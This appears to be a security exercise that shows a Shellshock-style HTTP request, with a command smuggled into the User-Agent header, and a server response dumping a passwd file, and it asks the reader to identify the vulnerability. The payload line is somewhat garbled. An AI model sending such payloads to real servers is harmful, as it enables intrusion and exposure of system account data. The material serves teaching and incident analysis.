In monitoring the network activity between a critical Goldmine Tech web server and an untrusted foreign IP, Bob discovers the following HTTP GET request from the untrusted IP: GET /cgi-bin/status/status.cgi HTTP/1.1 Host: motherlode.goldminetech.edu User-Agent: () { :;}; echo "PWNED by 0c007. $(/passwd) The following HTTP response from the critical Goldmine Tech server is as follows: HTTP/1.1 200 OK Content-Type: text/xml; charset-utf-8 Content-Length: length root:!:0:0::/:/usr/bin/ksh daemon::1:1::/etc: bin:!:2:2::/bin: sys:1:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100:/home/guest: nobody:1:4294967294:4294967294::/: Ipdl:9:4294 967294: lp:*:11:11::/var/spool/lp:/bin/false invscout200:1::/var/adm/invscout:/usr/bin/ksh nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico paul:l:201:1:/home/paul:/usr/bin/ksh doe::202:1:John Doe:/home/jdoe:/usr/bin/ksh Given this information, what can Bob assume about the webserver in question? If this a suggests an exploitation, what vulnerability exists and what did the attacker gain from this ctivity